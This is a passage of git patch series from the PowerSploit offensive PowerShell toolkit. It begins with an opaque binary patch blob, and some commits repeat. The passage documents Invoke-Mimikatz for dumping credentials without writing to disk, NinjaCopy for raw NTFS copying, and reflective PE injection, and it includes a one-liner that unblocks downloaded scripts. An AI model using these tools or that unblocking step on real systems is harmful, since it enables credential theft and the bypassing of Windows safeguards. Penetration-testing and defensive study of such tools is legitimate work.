zj}~X11j$M7AnSzuYNn7R=^x1Um52^W?|}4iLZJUaG=vR*_lj59Cf;{@)<3ns3^lQx z5lu*kw{6;&rhNvS*Lud~K%YR;C6II?Xb*zQh1T_=9*4NUCDQOdXh3~@Fxcp~>K}c| zi0YGcqw*E8SFN;;%PXY)b(}?$?V)S&Z?J`eeV~kDr2hLW3 z2D$ria$VbQFqbGRRvOsCqV5^;v7*)ZHtegcy+V5e6c@<{aZU~OY|i-t;tj~*ES-S! zbJ(9T=Jikd2;^6CR6jU#Cdoy4yWli**M*!BwLd$1Tb66w#=J^5vC8ZwI#Z`k`U6?m z*P{9-hx2e;c0+6Bo{r>Ew1-ltrv1$RHPJ!zQ`?ZqW=W2_}ZLId_5b{bhi?mLdhP4SbX{zY{r?e%oi zfcG?h(4I5(3phC%_xJx?N#{LC$I>@>=JYG16GeTA%8T~bab}XsQAn1;_b~&bWO9`t z^pEN2ZzIsIhkzFz${o)8@j8)c;N^h2AQ`);OEDHYMIX^VUk>qJk+qDKYHhravygo6 zChpUZ`FKuad-AO57~_%zoC6hb9`uRBZ=BD>UX-g)ZEg=a+ER>puw@2)x(brhLcf6O zk!Z+wo}wcC-5 zuMKN=+RLJFq|b@-h62u4a@_%H8`Ne=R$Q=3jrR?l>x53qM)VzR0cS2j&urAiaH7E% zdtvu+j+gT@JM@gY_ttRMmG7&Oe4X}7a0VB0QtYWg&O&=&w6}=!y+W;}laRe+sem&p zyp50!1MUA&AK|i6^r8K6nLOTu;H`1yR=^omULTNQ_+pPqy)!Jit<^i|KF$pbcg}%l z1g}ebcwE+w{TbS`kQ~mia9TRCm)h(eD8POa_U8jJABa3VY(Q~&56S%bp2g~Q0?yY8 zI5RBZoUnkiy8_O_Qs1aV8)D`}sTWbu?&+Up_tB+2SYUQ04Va?*Yf$)QPZ zMsiE46OtQK8zs4YJ@!?p9=gi_V-&Rm8mmc141G&}YnCOu7$>lhf4#+G9}ObASq{gx z??k@qu{VHyo&86+j8xoTkoG}D*)Pspb2@OAn$tkCU!omnm4!Xn%cQZr3$lIf-s5Y`&hH+2uA0IMp9kVei)^VGeBHMdg}uAGQRq{+u?jT ze~)wDoCYcfoXN)CR2i53@G^jmrOv^Vk5M#EQeU9?g61rgdyce5q;gNcyPA1grm}=R z)^ygp@>16!Ud|*V#yNE1-c`t!Z{88*`M2&uE^?E<=W=|M1Jx19z^M#qubuiV?f=ji z)m;bB1E4vJ#%83yB=e_Omiow+B?|r7HQ^vTEcmc4A%tO1MxNrMyxlr~Nw|CY8c!Ez z=mngo7jV8wCd3wyZYd$t}1?(rUD^A{Fr{}be@Y)m0?L}_$Z%AL!gwe zR48Ca3d`ZC4>(D^ljemd-vRX&bjBFd(V0I-t)pSopuv;suMb3{ly%RKN-Ax z%{(l7%(JS4Z+_3nk##3@ZX9#Voz!{a$2$VdMau9BnSefZAgDj-b1Xs}G=0kIwzTPbMqv9N?RZ|EtZ9~?@7*S^Hn%i#e=OHs-ahh@ zw)KUx|HfLvMdg8fuq}Av9d){wLH$pw$RLIt^G7?h{$cr(K4QtS-{p(up_`<&3O z4dUdx+MjD*kbmd?jgMg6WtrOZ$A;bB{PMSq?8p4)zY3w)}0_`bh?{=LYfm zy6=km@2$OUYz2Lb^OmR=_I)pIhEHj=n-g*jZNJypa>#7$QU4R>8TpkND!cIf+JSy? z9`9YfVE)GULKNd%j=tZ9ctCUF`8_&^gt1%q;vjY(Yadv<+4fW?+P(>UjmozrkI0T= z!{yiK2g+~J=I`z?@}IZhYxHXW7ytf>v^@Bcyb1UPA0E!z`x-i5+jTJbmW}5r1knA?mxnNd(Wc|@0-`-j}^EpUCz_cQ8T)L(bCG_~X#`5fG3M=oD9a_O9ri|t0v?l;o@l#$aADANNPf&cB_ z`!T!I4C84LR~y9V>M!Oof|%X@9e!Ny;j3eIb#8&_IIoJ`?eOA#6(3@Phw9V?r-2Z= z%XqS4oEFYciYMzmKNg<5!!uqr_CsBBEskaTn*ZZIlbsJf(1e&)_z+d}hnnaU5jW#C zez$hB70}`DuBAz<@n-26>+OBIbrA8i?oQOUA!eBUUgwd? z1Lp5b5TgqlI8yga@tK9^9(RN82MzpAK2HM&e5Bht*=NH1KT~;+J|FS9gC}B!)wa^U z)4tLN=K2!%C2qc@upM|b9*F#-Z!hQb0?TnNHaO{A zY}hDW7vh>g}YAH+248YR~$>9--4*&v46 zAkJF%3nA`V{S~fnbKldE>*7bMpNum8jyt1yjkRR?};`$U~tIf+l z_>tM`q&s(vze{6{;2$;7*3vgYOtS8^;JypQEbG1otZiW3`%&F=GoQebe!9Kteu7e?V8#d*f;y~Oq_K5vP^%rsL<^bA* zp~`Ge9J`4`Srayarxb7N$T zX^f16wV33elW`xMlW;xB9KK;ZUP&+(aE>!0q*~&Vlf0zFW|CZqjF5SPc`sRmlsJ9| z$_yE!Fz;(%zY#KB&dLhF^2p)fn@1tiXX%{{jA`V++spw^;m*T72sx_oA3?IXCrutj zNUPR+7gQa5;!=k)F3QLBquKOpDDut)JSVF`+eRJ>?-QRUUsLF30j*Td>j0}qE*?XW zxf-6 zV6?PF(!k)L1nb^S!7E>G{jrf(1N3$iX!5AUTjAq=oh`pzu5JexIR`-U3qWT9O4uqn z(yWtOz#}i?kV-?w``A389tx_b9A^*lM7}&v4D8m)kY9H4e;L3sPYvUTGxW3;f zt}?}y@o~-d#k!U zcS~lY#;t+aaFHZ zImj@Jx>Gx^S2uDpUhbA5*VK($eE3oD*oZc-k{W#Ck^l{_M|fPgNXa0@qpVf&+j%JB z@CV56wT`{Vr*QjtGAYMm)i~ro7?KIFDXtBGO$O{xAFx8SD(M_k*tN&I5JkmVj&h{e z+6T@JfRWzeK4671OzHhWVd2p;M8W5~9C=CO#Xj(C0E{$_^neYxYTOX{9AuwU33D8= z(8_&{FN-nObFAbT{&G)uX3d+HNcn^y3)P!ei=s+I-?D`CkuAkh_&F1;1nJI_P$wA$9RO0<**y%*4xkcwwNIWk3n zXC7YJx)J((CE}$F5X+*4ERZvR;0e#d3$XAh0lc4-lrU|8>>NTXVOjnijCKM3Kc#oK z@xr@x=ml9dItE!7o2y`c=m7r}Nf!*>;GwE(?$KJ3Xd{LX{M z&L?wnu%HvG>Es3^c0{Y8xxKFf7_$iQQSYb|wZKNbw$&G`flM%Wp*1a$ zGK^%EILlxOP*Ir!J0DS>je5`i*8pzlkJyTw_B8>#9Ah%*L2LthcsbL^u;xIq zo6cDDy;7WGFd~=W6T?YwmELbc$1@uk^O{}?*aYMrFQf2X3i(V>pO$teqH^?ln&%sL zOK7dn6?vn?Hpyt@pM&dK)S^yhm4!?xg<9w)J?`hg#r4aTWAsAE&a?YTVB+|hM@=nU zpT#fhy+*HMD&KPWC=uwBN0Xe9lRzhU=d~{F$2@St?43LZ)oFsy^05`h^eC60m# zQ0uO-K+_sPH7{ork7sYZK2M87-nzA-ubS=#=ZjTtN#tJ(T)UO;Nf_UI)9u}=eYGhI zPsbTS&*GR7)N~eV?rFckH$z8+9I3G!AL>FpvV2j&3(U}UOrEwbU1zPab8af*Oo^7p zN}`tSBr?gAQ#&Pk|H2ugCPXbaA9s@Rx{PB_i8k17blTLxg_Gm1Yo}M#HCRC4xKpC_ zIcK7qSZSx@?x=Jsk;}N5n*69lCOt9krekYLqgFcZq-tz8zbH&CjA~ZWcJirwgOzW{ zg4EiSbLW_-mCa=mw(Dkc6}iO9RNhYH>vMpvn=meFIq@_u=LY0ri&IWAv(}AOB)lRi z+l|dc9+!~0DaVfXsB5eQ^&L$XlD3=3rLuWQVJh>vYi&Dg=PVYUJUR^3%vsw3uZac} zwQ!)gmy)mWrQ!n=7)UCpo>zt-9^tz7gj}m~m6>!p Date: Tue, 1 Oct 2013 17:41:54 -0400 Subject: [PATCH 016/382] Added exfil script synopses to README.md Descriptions for Invoke-NinjaCopy and Invoke-Mimikatz were added to the readme. --- README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/README.md b/README.md index e3265199..2d500d74 100644 --- a/README.md +++ b/README.md @@ -144,6 +144,14 @@ Locates single Byte AV signatures utilizing the same method as DSplit from "clas **All your data belong to me!** +#### `Invoke-NinjaCopy` + +Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. + +#### `Invoke-Mimikatz` + +Reflectively loads Mimikatz 1.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. + #### `Get-Keystrokes` Logs keys pressed, time and the active window. From 511b682620c4607c00df494cd0eff51761779437 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Tue, 1 Oct 2013 17:47:28 -0400 Subject: [PATCH 017/382] Modified license verbiage --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 2d500d74..35a1d83e 100644 --- a/README.md +++ b/README.md @@ -223,7 +223,7 @@ Note: The tools contained within this module were all designed such that they ca * If you want to display relevant debugging information to the screen, use Write-Verbose. The user can always just tack on '-Verbose'. -* Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license. +* Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license (unless there are extenuating circumstances that prevent the application of the BSD license). * Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell. From d269eec01d451745a50686495275e9525712b8b9 Mon Sep 17 00:00:00 2001 From: clymb3r Date: Tue, 1 Oct 2013 21:25:36 -0700 Subject: [PATCH 018/382] Switching to ANSI from UTF8 encoding Scripts now work in 2008r2. I thought I tested before uploading but something broke somehow... Now the scripts work in 2008r2 and win8+ --- CodeExecution/Invoke-ReflectivePEInjection.ps1 | 4 ++-- Exfiltration/Invoke-Mimikatz.ps1 | 6 +++--- Exfiltration/Invoke-NinjaCopy.ps1 | 6 +++--- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index 6e18bff8..ccc1dd68 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -1,4 +1,4 @@ -function Invoke-ReflectivePEInjection +function Invoke-ReflectivePEInjection { <# .SYNOPSIS @@ -33,7 +33,7 @@ Author: Joe Bialek, Twitter: @JosephBialek License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None -Version: 1.0 +Version: 1.1 .DESCRIPTION diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1 index 2e206a66..289652c4 100644 --- a/Exfiltration/Invoke-Mimikatz.ps1 +++ b/Exfiltration/Invoke-Mimikatz.ps1 @@ -1,4 +1,4 @@ -function Invoke-Mimikatz +function Invoke-Mimikatz { <# .SYNOPSIS @@ -15,8 +15,8 @@ Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. License: http://creativecommons.org/licenses/by/3.0/fr/ Required Dependencies: Mimikatz (included) Optional Dependencies: None -Version: 1.0 -ReflectivePEInjection version: 1.0 +Version: 1.1 +ReflectivePEInjection version: 1.1 Mimikatz version: 1.0 .DESCRIPTION diff --git a/Exfiltration/Invoke-NinjaCopy.ps1 b/Exfiltration/Invoke-NinjaCopy.ps1 index 68e7d81e..cfa763fa 100644 --- a/Exfiltration/Invoke-NinjaCopy.ps1 +++ b/Exfiltration/Invoke-NinjaCopy.ps1 @@ -1,4 +1,4 @@ -function Invoke-NinjaCopy +function Invoke-NinjaCopy { <# .SYNOPSIS @@ -25,8 +25,8 @@ Contributors: This script has a byte array hardcoded, which contains a DLL wich License: GPLv3 or later Required Dependencies: None Optional Dependencies: None -Version: 1.0 -ReflectivePEInjection version: 1.0 +Version: 1.1 +ReflectivePEInjection version: 1.1 .DESCRIPTION From a6c0c940bfb8743c97d0c27ffe529bb2140061dc Mon Sep 17 00:00:00 2001 From: mattifestation Date: Sat, 5 Oct 2013 08:20:58 -0400 Subject: [PATCH 019/382] Slight clarification to license statement --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 35a1d83e..1988a6a3 100644 --- a/README.md +++ b/README.md @@ -194,7 +194,7 @@ Scans an IP address range for DNS PTR records. This script is useful for perform ## License -The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE). +The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE) unless explicitly noted otherwise. ## Usage From babad35dae1c60d0480545bf8e5f89eba94918fe Mon Sep 17 00:00:00 2001 From: mattifestation Date: Sat, 5 Oct 2013 08:35:48 -0400 Subject: [PATCH 020/382] Added a usage tip Added a one-liner for PSv3 that will remove the annoying warnings that are displayed when importing scripts downloaded from the Internet. --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 1988a6a3..93d2d0fa 100644 --- a/README.md +++ b/README.md @@ -209,6 +209,8 @@ To use the module, type `Import-Module PowerSploit` To see the commands imported, type `Get-Command -Module PowerSploit` +If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner: `$Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerSploit) ) {Get-ChildItem -Recurse | Unblock-File} }` + For help on each individual command, Get-Help is your friend. Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. From 737fd832e0b080cbb49d77808cd81bfc1634bd1d Mon Sep 17 00:00:00 2001 From: mattifestation Date: Sat, 5 Oct 2013 08:39:25 -0400 Subject: [PATCH 021/382] Updated usage tip --- README.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 93d2d0fa..4fa1064b 100644 --- a/README.md +++ b/README.md @@ -209,7 +209,10 @@ To use the module, type `Import-Module PowerSploit` To see the commands imported, type `Get-Command -Module PowerSploit` -If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner: `$Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerSploit) ) {Get-ChildItem -Recurse | Unblock-File} }` +If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner: +`$Env:PSModulePath.Split(';') | + % { if ( Test-Path (Join-Path $_ PowerSploit) ) + {Get-ChildItem -Recurse | Unblock-File} }` For help on each individual command, Get-Help is your friend. From 54971370cfb150e69a0faa064071a4ac0a3283a4 Mon Sep 17 00:00:00 2001 From: webstersprodigy Date: Tue, 22 Oct 2013 21:04:24 -0700 Subject: [PATCH 022/382] Fix for hostfiles option in powershell 2 --- Recon/Invoke-Portscan.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Recon/Invoke-Portscan.ps1 b/Recon/Invoke-Portscan.ps1 index 46a5337a..ab03734e 100644 --- a/Recon/Invoke-Portscan.ps1 +++ b/Recon/Invoke-Portscan.ps1 @@ -647,14 +647,14 @@ http://webstersprodigy.net [Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath - if ($Hosts) + if ($PsCmdlet.ParameterSetName -eq "cmdHosts") { foreach($h in $Hosts) { Parse-Hosts($h) | Out-Null } } - elseif ($HostFile) + else { Parse-ILHosts($HostFile) | Out-Null } From 9fbb4ec3c39e0e42ffdfa55bdbb36aedd39e4216 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Sun, 29 Sep 2013 17:12:03 -0400 Subject: [PATCH 023/382] Added Get-LibSymbols Get-LibSymbols parses Microsoft .lib files and displays decorated and undecorated symbols. --- PETools/Get-LibSymbols.format.ps1xml | 31 +++ PETools/Get-LibSymbols.ps1 | 275 +++++++++++++++++++++++++++ PETools/PETools.psd1 | 5 +- README.md | 4 + 4 files changed, 313 insertions(+), 2 deletions(-) create mode 100644 PETools/Get-LibSymbols.format.ps1xml create mode 100644 PETools/Get-LibSymbols.ps1 diff --git a/PETools/Get-LibSymbols.format.ps1xml b/PETools/Get-LibSymbols.format.ps1xml new file mode 100644 index 00000000..41747cbf --- /dev/null +++ b/PETools/Get-LibSymbols.format.ps1xml @@ -0,0 +1,31 @@ + + + + + SymbolTypeView + + COFF.SymbolInfo + + + + + + + SymbolType + + + Module + + + DecoratedName + + + UndecoratedName + + + + + + + + \ No newline at end of file diff --git a/PETools/Get-LibSymbols.ps1 b/PETools/Get-LibSymbols.ps1 new file mode 100644 index 00000000..79dede5c --- /dev/null +++ b/PETools/Get-LibSymbols.ps1 @@ -0,0 +1,275 @@ +function Get-LibSymbols +{ +<# +.SYNOPSIS + + Displays symbolic information from Windows lib files. + + PowerSploit Function: Get-LibSymbols + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + Get-LibSymbols parses and returns symbols in Windows .lib files + in both decorated and undecorated form (for C++ functions). + +.PARAMETER Path + + Specifies a path to one or more lib file locations. + +.EXAMPLE + + C:\PS>Get-LibSymbols -Path msvcrt.lib + +.EXAMPLE + + C:\PS>ls *.lib | Get-LibSymbols + +.INPUTS + + System.String[] + + You can pipe a file system path (in quotation marks) to Get-LibSymbols. + +.OUTPUTS + + COFF.SymbolInfo + +.LINK + + http://www.exploit-monday.com/ +#> + [CmdletBinding()] Param ( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateScript({ Test-Path $_ })] + [Alias('FullName')] + [String[]] + $Path + ) + + BEGIN + { + $Code = @' + using System; + using System.IO; + using System.Text; + using System.Runtime.InteropServices; + + namespace COFF + { + public class HEADER + { + public ushort Machine; + public ushort NumberOfSections; + public DateTime TimeDateStamp; + public uint PointerToSymbolTable; + public uint NumberOfSymbols; + public ushort SizeOfOptionalHeader; + public ushort Characteristics; + + public HEADER(BinaryReader br) + { + this.Machine = br.ReadUInt16(); + this.NumberOfSections = br.ReadUInt16(); + this.TimeDateStamp = (new DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds(br.ReadUInt32()); + this.PointerToSymbolTable = br.ReadUInt32(); + this.NumberOfSymbols = br.ReadUInt32(); + this.SizeOfOptionalHeader = br.ReadUInt16(); + this.Characteristics = br.ReadUInt16(); + } + } + + public class IMAGE_ARCHIVE_MEMBER_HEADER + { + public string Name; + public DateTime Date; + public ulong Size; + public string EndHeader; + + public IMAGE_ARCHIVE_MEMBER_HEADER(BinaryReader br) + { + string tempName = Encoding.UTF8.GetString(br.ReadBytes(16)); + DateTime dt = new DateTime(1970, 1, 1, 0, 0, 0); + this.Name = tempName.Substring(0, tempName.IndexOf((Char) 47)); + this.Date = dt.AddSeconds(Convert.ToDouble(Encoding.UTF8.GetString(br.ReadBytes(12)).Split((Char) 20)[0])); + br.ReadBytes(20); // Skip over UserID, GroupID, and Mode. They are useless fields. + this.Size = Convert.ToUInt64(Encoding.UTF8.GetString(br.ReadBytes(10)).Split((Char) 20)[0]); + this.EndHeader = Encoding.UTF8.GetString(br.ReadBytes(2)); + } + } + + public class Functions + { + [DllImport("dbghelp.dll", SetLastError=true, PreserveSig=true)] + public static extern int UnDecorateSymbolName( + [In] [MarshalAs(UnmanagedType.LPStr)] string DecoratedName, + [Out] StringBuilder UnDecoratedName, + [In] [MarshalAs(UnmanagedType.U4)] uint UndecoratedLength, + [In] [MarshalAs(UnmanagedType.U4)] uint Flags); + } + } +'@ + + Add-Type -TypeDefinition $Code + + function Dispose-Objects + { + $BinaryReader.Close() + $FileStream.Dispose() + } + } + + PROCESS + { + foreach ($File in $Path) + { + # Resolve the absolute path of the lib file. [IO.File]::OpenRead requires an absolute path. + $LibFilePath = Resolve-Path $File + + # Pull out just the file name + $LibFileName = Split-Path $LibFilePath -Leaf + + $IMAGE_SIZEOF_ARCHIVE_MEMBER_HDR = 60 + $IMAGE_ARCHIVE_START = "!`n" # Magic used for lib files + $IMAGE_SIZEOF_LIB_HDR = $IMAGE_SIZEOF_ARCHIVE_MEMBER_HDR + $IMAGE_ARCHIVE_START.Length + $IMAGE_ARCHIVE_END = "```n" # Footer of an archive header + $SizeofCOFFFileHeader = 20 + + # Open the object file for reading + $FileStream = [IO.File]::OpenRead($LibFilePath) + + $FileLength = $FileStream.Length + + # Validate lib header size + if ($FileLength -lt $IMAGE_SIZEOF_LIB_HDR) + { + # You cannot parse the lib header if the file is not big enough to contain a lib header. + Write-Error "$($LibFileName) is too small to store a lib header." + $FileStream.Dispose() + return + } + + # Open a BinaryReader object for the lib file + $BinaryReader = New-Object IO.BinaryReader($FileStream) + + $ArchiveStart = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes(8)) + + if ($ArchiveStart -ne $IMAGE_ARCHIVE_START) + { + Write-Error "$($LibFileName) does not contain a valid lib header." + Dispose-Objects + return + } + + # Parse the first archive header + $ArchiveHeader = New-Object COFF.IMAGE_ARCHIVE_MEMBER_HEADER($BinaryReader) + + if ($ArchiveHeader.EndHeader -ne $IMAGE_ARCHIVE_END) + { + Write-Error "$($LibFileName) does not contain a valid lib header." + Dispose-Objects + return + } + + # Check for the existence of symbols + if ($ArchiveHeader.Size -eq 0) + { + Write-Warning "$($LibFileName) contains no symbols." + Dispose-Objects + return + } + + $NumberOfSymbols = $BinaryReader.ReadBytes(4) + + # The offsets in the first archive header of a Microsoft lib file are stored in big-endian format + if ([BitConverter]::IsLittleEndian) + { + [Array]::Reverse($NumberOfSymbols) + } + + $NumberOfSymbols = [BitConverter]::ToUInt32($NumberOfSymbols, 0) + + $SymbolOffsets = New-Object UInt32[]($NumberOfSymbols) + + foreach ($Offset in 0..($SymbolOffsets.Length - 1)) + { + $SymbolOffset = $BinaryReader.ReadBytes(4) + + if ([BitConverter]::IsLittleEndian) + { + [Array]::Reverse($SymbolOffset) + } + + $SymbolOffsets[$Offset] = [BitConverter]::ToUInt32($SymbolOffset, 0) + } + + $SymbolStringLength = $ArchiveHeader.Size + $IMAGE_SIZEOF_LIB_HDR - $FileStream.Position - 1 + # $SymbolStrings = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($SymbolStringLength)).Split([Char] 0) + + # Write-Output $SymbolStrings + + # There will be many duplicate offset entries. Remove them. + $SymbolOffsetsSorted = $SymbolOffsets | Sort-Object -Unique + + $SymbolOffsetsSorted | ForEach-Object { + # Seek to the each repective offset in the file + $FileStream.Seek($_, 'Begin') | Out-Null + + $ArchiveHeader = New-Object COFF.IMAGE_ARCHIVE_MEMBER_HEADER($BinaryReader) + + # This is not a true COFF header. It's the same size and mostly resembles a standard COFF header + # but Microsoft placed a marker (0xFFFF) in the first WORD to indicate that the 'object file' + # consists solely of the module name and symbol. + $CoffHeader = New-Object COFF.HEADER($BinaryReader) + + # Check for 0xFFFF flag value + if ($CoffHeader.NumberOfSections -eq [UInt16]::MaxValue) + { + # Get the total length of the module and symbol name + $SymbolStringLength = $CoffHeader.NumberOfSymbols + $Symbols = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($SymbolStringLength)).Split([Char] 0) + + $DecoratedSymbol = $Symbols[0] + $UndecoratedSymbol = '' + + # Default to a 'C' type symbol unless it starts with a '?' + $SymbolType = 'C' + + # Is the symbol a C++ type? + if ($DecoratedSymbol.StartsWith('?')) + { + $StrBuilder = New-Object Text.Stringbuilder(512) + # Magically undecorated the convoluted C++ symbol into a proper C++ function definition + [COFF.Functions]::UnDecorateSymbolName($DecoratedSymbol, $StrBuilder, $StrBuilder.Capacity, 0) | Out-Null + $UndecoratedSymbol = $StrBuilder.ToString() + $SymbolType = 'C++' + } + else + { + $UndecoratedSymbol = $DecoratedSymbol.Substring(1).Split('@')[0] + } + + $SymInfo = @{ + DecoratedName = $DecoratedSymbol + UndecoratedName = $UndecoratedSymbol + Module = $Symbols[1] + SymbolType = $SymbolType + } + + $ParsedSymbol = New-Object PSObject -Property $SymInfo + $ParsedSymbol.PSObject.TypeNames[0] = 'COFF.SymbolInfo' + + Write-Output $ParsedSymbol + } + } + + # Close file and binaryreader objects + Dispose-Objects + } + } + + END {} +} \ No newline at end of file diff --git a/PETools/PETools.psd1 b/PETools/PETools.psd1 index d4143653..28a60b91 100644 --- a/PETools/PETools.psd1 +++ b/PETools/PETools.psd1 @@ -52,7 +52,7 @@ PowerShellVersion = '2.0' # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module -FormatsToProcess = 'PETools.format.ps1xml', 'Get-ObjDump.format.ps1xml' +FormatsToProcess = 'PETools.format.ps1xml', 'Get-ObjDump.format.ps1xml', 'Get-LibSymbols.format.ps1xml' # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess # NestedModules = @() @@ -74,7 +74,8 @@ ModuleList = @(@{ModuleName = 'PETools'; ModuleVersion = '1.0.0.0'; GUID = 'd150 # List of all files packaged with this module FileList = 'PETools.psm1', 'PETools.psd1', 'PETools.format.ps1xml', 'Get-DllLoadPath.ps1', - 'Get-PEHeader.ps1', 'Get-ObjDump.ps1', 'Get-ObjDump.format.ps1xml', 'Usage.md' + 'Get-PEHeader.ps1', 'Get-ObjDump.ps1', 'Get-ObjDump.format.ps1xml', 'Get-LibSymbols.ps1', + 'Usage.md' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' diff --git a/README.md b/README.md index 5141808e..e3265199 100644 --- a/README.md +++ b/README.md @@ -72,6 +72,10 @@ An in-memory and on-disk PE parsing utility. Displays information about one or more Windows object files. +#### `Get-LibSymbols` + +Displays symbolic information from Windows lib files. + #### `Get-DllLoadPath` Returns the path from which Windows will load a Dll for the given executable. From 70e5b8375bceee892577a66d9f95597e85566110 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Mon, 30 Sep 2013 06:43:03 -0400 Subject: [PATCH 024/382] Fixed minor logic bug in C type undecorated symbols --- PETools/Get-LibSymbols.ps1 | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/PETools/Get-LibSymbols.ps1 b/PETools/Get-LibSymbols.ps1 index 79dede5c..414454f4 100644 --- a/PETools/Get-LibSymbols.ps1 +++ b/PETools/Get-LibSymbols.ps1 @@ -249,7 +249,14 @@ } else { - $UndecoratedSymbol = $DecoratedSymbol.Substring(1).Split('@')[0] + if ($DecoratedSymbol[0] -eq '_' -or $DecoratedSymbol[0] -eq '@') + { + $UndecoratedSymbol = $DecoratedSymbol.Substring(1).Split('@')[0] + } + else + { + $UndecoratedSymbol = $DecoratedSymbol.Split('@')[0] + } } $SymInfo = @{ From cf64b10d5c2af3d9e64df3bfaad4ff3ded621cf5 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Tue, 1 Oct 2013 17:41:54 -0400 Subject: [PATCH 025/382] Added exfil script synopses to README.md Descriptions for Invoke-NinjaCopy and Invoke-Mimikatz were added to the readme. --- README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/README.md b/README.md index e3265199..2d500d74 100644 --- a/README.md +++ b/README.md @@ -144,6 +144,14 @@ Locates single Byte AV signatures utilizing the same method as DSplit from "clas **All your data belong to me!** +#### `Invoke-NinjaCopy` + +Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. + +#### `Invoke-Mimikatz` + +Reflectively loads Mimikatz 1.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. + #### `Get-Keystrokes` Logs keys pressed, time and the active window. From 8c13faaf515c0d6ba6516bd03a90b68a72603a8c Mon Sep 17 00:00:00 2001 From: mattifestation Date: Tue, 1 Oct 2013 17:47:28 -0400 Subject: [PATCH 026/382] Modified license verbiage --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 2d500d74..35a1d83e 100644 --- a/README.md +++ b/README.md @@ -223,7 +223,7 @@ Note: The tools contained within this module were all designed such that they ca * If you want to display relevant debugging information to the screen, use Write-Verbose. The user can always just tack on '-Verbose'. -* Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license. +* Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license (unless there are extenuating circumstances that prevent the application of the BSD license). * Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell. From 05cbdab96efe07c56a6e3bde6263fa4561724cc5 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Sat, 5 Oct 2013 08:20:58 -0400 Subject: [PATCH 027/382] Slight clarification to license statement --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 35a1d83e..1988a6a3 100644 --- a/README.md +++ b/README.md @@ -194,7 +194,7 @@ Scans an IP address range for DNS PTR records. This script is useful for perform ## License -The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE). +The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE) unless explicitly noted otherwise. ## Usage From 1e4dc7b49fd5554679e99ca01074f7d3c5155766 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Sat, 5 Oct 2013 08:35:48 -0400 Subject: [PATCH 028/382] Added a usage tip Added a one-liner for PSv3 that will remove the annoying warnings that are displayed when importing scripts downloaded from the Internet. --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 1988a6a3..93d2d0fa 100644 --- a/README.md +++ b/README.md @@ -209,6 +209,8 @@ To use the module, type `Import-Module PowerSploit` To see the commands imported, type `Get-Command -Module PowerSploit` +If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to 